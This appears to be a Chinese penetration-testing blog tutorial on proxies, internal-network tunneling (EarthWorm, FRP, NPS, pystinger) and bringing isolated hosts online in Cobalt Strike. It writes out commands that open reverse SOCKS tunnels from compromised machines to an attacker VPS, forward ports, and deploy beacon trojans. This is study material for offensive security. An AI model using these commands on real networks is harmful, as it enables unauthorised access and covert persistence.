应用层代理技术

应用层代理技术

应用层代理介绍

应用层代理是我们最常用的代理,平时在进行内网渗透,或者扫描的时候经常需要这个代理,根据协议不同大体有以下的分类

1、http代理

2、socks代理

3、SSH代理

4、DNS代理

5、还有自定义的一些协议和加密规则

每种代理应用的场景不同,在不同的场景需要选择不同的代理

代理场景介绍

一、公网资产扫描

平时在做渗透测试中我们需要对公网的资产进行扫描和探测,但是又害怕对方封掉你的IP地址,我们需要挂代理

image-20231101101933161

在这种情况我我们需要哪些东西走代理呢?

1、扫描器工具

2、浏览器

3、burpsuite

使用代理一般是用http代理或者socks代理代理后的拓扑如下

image-20231101102015638

这里的代理分为两类

1、单个代理:单代理就是一个代理机器,只有一个IP,不会自动切换

image-20231101102138583

2、代理池:代理池就是一堆IP地址,可以实现自动变化,每次请求都变化

image-20231101102117551

注意:有些工具支持可以将单个代理IP写到文本中,从而实现代理池的功能

二、内网资产扫描

内网资产扫描这种场景一般是进行内网渗透才需要的代理技术,如果你不打内网一般是不需要这种技术的,内网代理技术一般也是采用http或者socks代理

image-20231101103418668

针对以上的情况我们需要如何对内网进行扫描呢?

1、直接使用web服务进行扫描

2、做代理让web服务成为代理机器

针对于内网的机器要考虑是用代理隧道还是使用端口转发

在这种情况需要用什么工具走代理呢?

1、扫描工具

2、浏览器

3、burp

使用代理一般是用http代理或者socks代理代理后的拓扑如下

image-20231101103757675

总体就是这样的情况第一种一般是买代理,第二种一般是做代理

1.公网资产扫描代理配置

单代理配置

单代理介绍

平时在做渗透测试中我们需要对公网的资产进行扫描和探测,但是又害怕对方封掉你的IP地址,或者IP 已经封了我们需要挂代理

image-20231101105128680

单个代理

单个代理表示就一个IP代理机器,IP地址不会自动切换

单个代理一般大家都用的免费的

一般免费的这种单个代理有以下的弊端

1、使用人比较多网速比较慢,很多都用不了

2、有可能这些代理是有些公司主动放出的用来收集用户信息

筛选代理

1、购买或者使用免费的单个代理IP

网站:https://www.kuaidaili.com

快代理提供了免费的单个代理IP,也可以花钱购买自己独有的IP

image-20231101105923631

2、将IP地址整理然后进行测试,看一下那个可以用

可以使用代理检测工具检测一下

http://www.leishenhttp.com/index/check/index.html

https://www.zdaye.com/ip/CheckHttp/

image-20231101110353051

使用代理

1、浏览器

image-20231101110514944

2、burp

useroptions

image-20231101111030680

3、工具有些扫描工具是支持代理的可以查看工具的具体命令看看用法

image-20231101111326120

代理池配置

代理池的意思就是拥有多个代理可以随意切换的东西,那么代理池一般有几种用法呢

1、购买代理池,购买的东西会自动切换IP,简单又方便

2、有些工具可以支持文本代理的方式,就是将很多单个IP代理放在一个文件里面,他会自动使用和切换

购买代理池

购买完成之后需要填写地址和端口还有域名

image-20231101112414406

使用代理池

1、使用浏览器

2、使用BURP

image-20231101112448181

代理后访问百度

image-20231101112457877

3、使用工具 很多工具不支持代理,或者不支持密码认证这个使用想用代理怎么办,就需要使用第三方的工具来进行代理的使用(专业技代理:例如proxifier proxychain)

SSTAP和Shadowsocks

当我们想让我们的电脑全局都走代理的时候,就需要使用到全局代理,设置了全局代理我们的任何工具 直接使用不需要再做任何的配置,所有使用工具 使用BP浏览器不用做任何的配置,默认就走代理,这 种方式最推荐

Shadowsocks(与clash原理相同)

声明:v2ray / winXray / Clash / Shadowrocket / Quantumult ,目前这种科学上网的方式也是属于代 理的技术

这种工具一般是SSR订阅得到IP地址的,支持全局代理和本地代理

Shadowsocks-原理介绍

使用自己的的协议和加密方式,用软件连接代理访问外网

image-20231101113556389

搭建方式

1、首先找一个国外的服务器(专业名字叫VPS)在机器上配置相应的规则和混淆

image-20231101113726757

2、使用该工具连接服务器,使用相同的加密方式,进行连接

image-20231101113757693

使用方式

该工具支持全局和PAC,全局的意思就是所有的工具都会通过该工具进行代理

全局模式

全局模式会在系统代理设置⼿动设置⼀个代理服务器,所有跟随系统代理设置的软件(⼀般是浏览器)都 会使⽤这个代理服务器。

image-20231101114037807

PAC

代理⾃动配置(英语:Proxy auto-config,简称PAC)是⼀种⽹页浏览器技术,⽤于定义浏览器该如何⾃ 动选择适当的代理服务器来访问⼀个⽹址

image-20231101114057925

SSTAP(适合全局代理)

SSTAP介绍

SSTap简介 SSTap是SocksCap64作者新开发的一款利用虚拟网卡实现的网络层代理。支持TCP,UDP,该 工具使用简单,可以使用于游戏,建议大家使用这个进行扫描

SSTAP安装

1、一直点击下一步安装

2、中途会给电脑安装一个虚拟网卡

image-20231101114911272

3、完成之后可以配置HTTP代理socks代理还有订阅链接

image-20231101115016765

4、支持的方式有全局和浏览器

image-20231101115124375

SSTP使用

1、浏览器使用

2、burp使用

3、cmd使用

2.应用层内网代理

内网代理介绍

内网资产扫描这种场景一般是进行内网渗透才需要的代理技术,如果不打内网一般是不需要这种技术 的,内网代理技术一般也是采用http或者socks代理

image-20231101144350020

针对以上的情况我们需要如何对内网进行扫描呢?

1、直接使用web服务进行扫描(参考内网渗透)

2、做代理让web服务成为代理机器

针对于内网的机器要考虑是用代理隧道还是使用端口转发

在这种情况需要用什么工具走代理呢?

1、扫描工具

2、浏览器

3、burp

使用代理一般是用http代理或者socks代理代理后的拓扑如下

image-20231101144459157

代理连接工具

windows工具

如果是windows是proxifire工具

1、运行软件然后点进进行一步一步安装

2、安装完成运行软件

3、打开代理服务器配置,可以看到支持http和socks代理

image-20231101150505489

4、该工具支持代理链,代理链可以支持多级代理

linux工具

linux工具下一般使用命令行工具proxychains

该工具在kali中自带

安装步骤

1、下载Proxychains源码,可以从GitHub上下载,或者直接从官网下载https://github.com/rofl0r/proxychains-ng

2、解压文件然后进行安装

1
2
3
4
5
tar zxvf proxychains-ng-4.16.tar.gz
cd proxychains-ng-4.16
./configure
make
make install

3、安装完成之后,需要修改配置文件/usr/local/etc/proxychains.conf(其中kali的在/etc/proxychains4.conf),将其中的代理服务器修改为你的代理服务器

image-20231101152200192

4、修改完成之后,可以使用proxychains命令来使用代理服务器,示例

image-20231101152411452

EW(EarthWorm)工具

Earthworm简介

Earthworm简称EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功 能,可在复杂网络环境下完成网络穿透

该工具已经停止维护和下载:http://rootkiter.com/EarthWorm/

该工具支持端口转发,正向代理,反向代理,多级代理等方式,可以打通一条网络隧道,直达网络深 处,用蚯蚓独有的手段突破网络限制

下载地址:https://github.com/idlefire/ew

1.(一级代理)正向代理

拓扑图如下

正向意思就是攻击者可以访问目标的机器,也就意味着目标的机器在公网,如下拓扑,例如通过web漏洞打进去

image-20231101155432136

正向连接就是黑客主动连接web服务器,在web开启监听

将ew上传到web服务器 并且执行如下命令

1
ew -s ssocksd -l 1080

黑客的电脑使用froxyifile或者proxychains等工具进行连接

实验步骤

1、使用漏洞将web服务器控制下来然后上传ew工具执行开启监听

image-20231101162838489

2、使用proxyifile连接

image-20231101163043106

3、配置代理规则

image-20231101163216487

4、linux 使用proxychains,修改配置文件即可

1
proxychains4 firefox    即firefox走代理

2.(一级代理)反向代理

反向连接适合于目标没有公网 IP 的情况,这时就需要一台公网 vps 了,这里就直接以内网地址作为演 示了。例如钓鱼钓到内网主机

image-20231101164919957

VPS执行如下

1
ew -s rcsocks -l 1080 -e 4444

目标器执行如下

1
ew -s rssocks -d vps -e 4444

这条命令表示在本地开启 socks 5 服务,并反弹到 vps 的 4444 端口,如果代理建立成功,在 VPS 端就 会看到 rssocks cmd_socket OK! 的提示

在黑客的机器上使用工具连接VPS的1080端口

实验步骤

1、先在VPS上开启监听

1
ew -s rcsocks -l 1080 -e 4444

image-20231101170117670

2、然后再靶机上连接VPS

1
ew -s rssocks -d vpsIP -e 4444

image-20231101170135655

3、在黑客电脑上使用工具连接vps的1080端口即可

3.(二级代理)正向连接

二级代理发生在如下的情况

image-20231101170820807

1、web服务器在公网黑客可以访问

2、B机器在内网黑客不能访问

3、web服务器只能访问B机器

4、B机器可以访问内网机器

这种情况使用二级正向代理

在B主机上执行

1
ew -s ssocksd -l 4444

在web服务器上执行

1
ew -s lcx_tran -l 1080 -f B -g 4444

黑客使用工具连接web服务器的1080端口从而实现访问内网机器

实验步骤

1、在内网的机器B上执行命令

1
ew -s ssocksd -l 4444

image-20231101171818277

2、在web机器上执行如下命令

1
ew -s lcx_tran -l 1080 -f BIP -g 4444

image-20231101171809205

3、测试代理

image-20231101171751567

4.(二级代理)反向连接

反向代理的拓扑路线如下

image-20231101172452482

1、web服务器在内网可以访问VPS

2、内网机器B在内网不能访问VPS可以访问web服务

image-20231101173124349

vps

1
ew -s lcx_listen -l 1080 -e 4444

主机B

1
ew -s ssocksd -l 5555

web服务器

1
ew -s lcx_slave -d vps_IP -e 4444 -f hostB_IP -g 5555

黑客代理到vps1080端口

FPR介绍和使用(稳定)

FRP介绍(0.51.2版本的使用,最新参考使用手册)

FRP (Fast Reverse Proxy) 是一个使用 Go 语言开发的高性能的反向代理应用,可以轻松地进行内网穿 透,对外网提供服务。FRP 支持 TCP、UDP、HTTP、HTTPS等协议类型,他支持点对点的转发,还有 全流量转发,FRP最大的一个特点是使用SOCKS代理,而SOCKS是加密通信的,类似于做了一个加密的 隧道,可以把外网的流量,通过加密隧道穿透到内网。效果有些类似于VPN。

下载地址:https://github.com/fatedier/frp/releases

使用手册:https://gofrp.org/zh-cn/docs/

FRP分为两个文件

将 frps 及 frps.ini 放到具有公网 IP 的机器上。 将 frpc 及 frpc.ini 放到处于内网环境的机器上。

FRP启动

服务端配置

Frp 默认给出两个服务端配置文件,一个是简版的 frps.ini,另一个是完整版本 frps_full.ini,服务端一 般就是搭建在公网的机器上(黑客的机器)

代理配置文件

image-20231102204519444

代理启动文件

1
./frps -c ./frps.ini

使用FRPS 运行 frps.ini 配置文件

客户端配置

FRP 默认也给出两个客户端配置文件,一个是简版的 frpc.ini,另一个是完整版本 frpc_full.ini。 这里同 样以简版的 frpc.ini 文件为例,假设 FRP 服务端所在服务器的公网 IP 为 X.X.X.X:

配置文件如下

image-20231102204551285

启动文件

1
./frpc -c ./frpc.ini

配置文件非常重要,需要什么功能就可以进行不同的配置,来进行代理 参考文档:

https://gofrp.org/zh-cn/docs/reference/

1.点对点转发(P2P)

image-20231102205549977

内部网络无法直接访问该端口,可以通过FRP进行端口转发到公网

1、服务端配置如下

image-20231102210710367

启动服务端

1
./frps -c ./frps.ini

image-20231102210825854

2、客户端配置如下

连接服务端的7000端口,并将3389端口转发给服务端的6000端口

image-20231102211125334

启动客户端

1
frpc.exe -c frpc.ini

image-20231102211257942

image-20231102211313269

访问vps的6000端口相当于连接内网机器的3389端口

image-20231102211421837

image-20231102211554088

2.搭建socks代理

使用场景如下

image-20231111144301202

现在我们搭建socks隧道实现对目标机器的全端口访问

服务端 配置文件:

image-20231111144352990

image-20231111144554227

客户端配置文件:

image-20231111144230064

image-20231111144720808

配置socks代理即可

image-20231111145006476

3.搭建socks多级隧道

多级socks隧道搭建网络拓扑如下image-20231111150408853

代理配置:

image-20231111151612225

首先搭建A->B的隧道

A执行如下

image-20231111151630331

B执行如下

image-20231111151644274

搭建好隧道之后接着使用端口转发

B上执行如下

image-20231111151704874

VPS上执行如下

image-20231111151745090

通过工具连接

image-20231111151928835

NPS的介绍和使用

NPS介绍

nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。

使用手册:https://ehang-io.github.io/nps/#/

下载地址:https://github.com/ehang-io/nps/releases

NPS也分为客户端和服务端两个

客户端:运行在内网中

服务端:运行在公网上

NPS使用

服务端启用

运行nps.exe

账号:admin 密码:123

需要 web 界面进行配置隧道

image-20231111154855788

image-20231111155023160

image-20231111155200826

image-20231111155235034

客户端启用

在服务端的web界面进行配置后有命令显示

1
./npc.exe -server=10.210.100.130:8024 -vkey=1deb538o6gzkx9d7 -type=tcp

image-20231111155543457

使用代理工具连接服务端的5000端口即可

image-20231111155757991

3.上线不出网机器方式

不出网机器拓扑介绍

不出网机器介绍

上线不出网机器是常见的问题,如何在内网中实现不出网机器的上线呢,分为了如下的形式,常见的网络拓扑如下

image-20231111162820321

情况分类

上线不出网机器一般是指B区域的电脑上线到CS工具或者MSF上,因为B机器不出网无法和VPS进行通信

针对B区域不出网的机器一般是两种情况

1、纯内网环境,任何端口都不出网

2、只有特定的端口可以出网

针对A区域出网的机器也有如下的情况(中转机器或者是跳板机)

1、A区域的机器可以出网

2、A区域只有特定的端口可以出网

后续要用到端口复用技术和之前学习的代理技术

CS工具自带上线不出网机器

存在一台中转机器,这台机器出网,这种是最常见的情况。经常是拿下一台边缘机器,其有多块网卡,内网机器都不出网。这种情况下拿这个边缘机器做中转,就可以上线。

网络拓扑图如下:

内网网卡:192.168.111.xxx

外网网卡:192.168.41.xxx

image-20231111165523183

A区域的机器已经被控制并且上线到CS,现在要将B区域的机器进行上线,有如下的形式

1.SMB-Beacon上线CS 不出网机器

介绍:SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons连接后,子Beacon从父Beacon获取到任务并发送。因为连接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效

通信网络拓扑如下:

image-20231111165629608

实验步骤如下:

1、首先控制A区域的边界主机,使用CS

image-20231111165658628

2、创建SMB监听器

image-20231111165712924

3、创建SMB类型的木马

image-20231111165730109

4、通过内网渗透技术(横向移动(IPC等)或者域内攻击)上传木马到B区域的机器

image-20231111165744205

5、运行木马之后进行连接

用link 命令连接它或者unlink 命令断开它

image-20231111165831213

2. TCP Beacon

TCP Beacon和SMB Beacon类似只不过TCP Beacon不是使用SMB与父Beacon进行通信而是使用TCP socket进行通信,cs4.0之后,这个技术就不适合做第一个木马使用,因为他的流量都是明文的,容易被发现但是这个技术,很适合在内网穿透的时候去使用,在内网穿透的时候一般只能使用tcp beacon去生成木马。

image-20231111173322349

实验步骤如下

1、首先控制A区域的边界主机,使用CS

image-20231111173339816

2、创建TCP监听器

image-20231111173352698

3、创建TCP类型的木马

image-20231111173408727

4、上传木马之后进行连接 这里使用connect进行连接

image-20231111173427876

3.HTTP代理上线

CS的监听器支持HTTP代理的配置,在配置监听器的时候可以添加HTTP代理,从而实现内网上线

image-20231111174552095

网络的拓扑图如下:

image-20231111174645693

1、首先控制A区域的机器然后使用搭建HTTP隧道,HTTP隧道搭建可以使用webshell工具或者其他的工具,我们一般会借助哥斯拉或者冰蝎等webshell工具会自带该功能

image-20231111203722061

2、这里我们使用第三方的工具Goproxy工具可以简单的开启http隧道,支持各种形式(这个工具很牛逼啥都支持)

下载地址:https://github.com/snail007/goproxy

在跳板机上执行

image-20231111203912172

3、配置代理,因为我们是在本地进行测试,他是正向连接的代理,不能用 VPS,我们采用本地的CS

注意这里的http proxy填写的是内网网卡的地址(在第四步做了端口转发之后)

image-20231111205217099

4、因为是双网卡,还需要做一个端口转发

将内网网卡的8899端口转发到另一张网卡的8081端口

1
netsh interface portproxy add v4tov4 listenaddress=192.168.111.136 listenport=8899 connectaddress=192.168.41.218 connectport=8081

image-20231111205904885

5、运行后就可以上线

image-20231111205922028

4.中转上线

CS中自带一个中转上线的操作,就是使用端口转发的技术和socket通信

image-20231111210437649

1、点击这个按钮然后填写相关的内容,一般都是不变的

image-20231111210455707

2、生成木马然后正常在机器上运行就可以了

image-20231111210535696

跳板机只有80端口出网如何上线CS

WEB机器不出网上线CS

场景介绍

如果说当我们拿到一台电脑(一般是WEB机器)但是不出网。只有http端口可以连接,只有webshell的情况下,我们该如何将该机器上线到CS呢?

image-20231111210918853

这个时候就要借助80端口,然后开启socks隧道,从而进行上线

实验前提

当前我们控制了一个WEB主机,可以使用工具连接

image-20231111211434360

但是通过进一步的探测发现很多端口都不出网,被禁止了,上线CS也不行

image-20231111211459922

实验步骤

这个时候我们就要开启80端口的代理

1、我们是这里使用毒刺(pystinger)这个工具,毒刺是一款正向代理工具,通过webshell可以实现内网 socks4代理和端口映射,并且也可以直接上线MSF和CS

下载地址:https://github.com/FunnyWolf/pystinger/releases/tag/v1.6

2、将工具中的服务端工具传到服务器中

image-20231111211602005

3、访问proxy页面查看一定要确保可以访问

image-20231111211616197

4、在服务端运行开启命令

1
start stinger_server.exe

image-20231111211635793

5、在VPS上运行连接命令

1
stinger_client.exe -w http://192.168.41.218/proxy.php -l 127.0.0.1 -p 60000

image-20231111211659252

6、开启CS监听器

image-20231111211743214

7、生成木马然后运行上线CS

image-20231111211808811

8、查看流量都是http的流量

image-20231111211825328


应用层代理技术
http://example.com/2023/11/27/应用层代理技术/
作者
r1
发布于
2023年11月27日
许可协议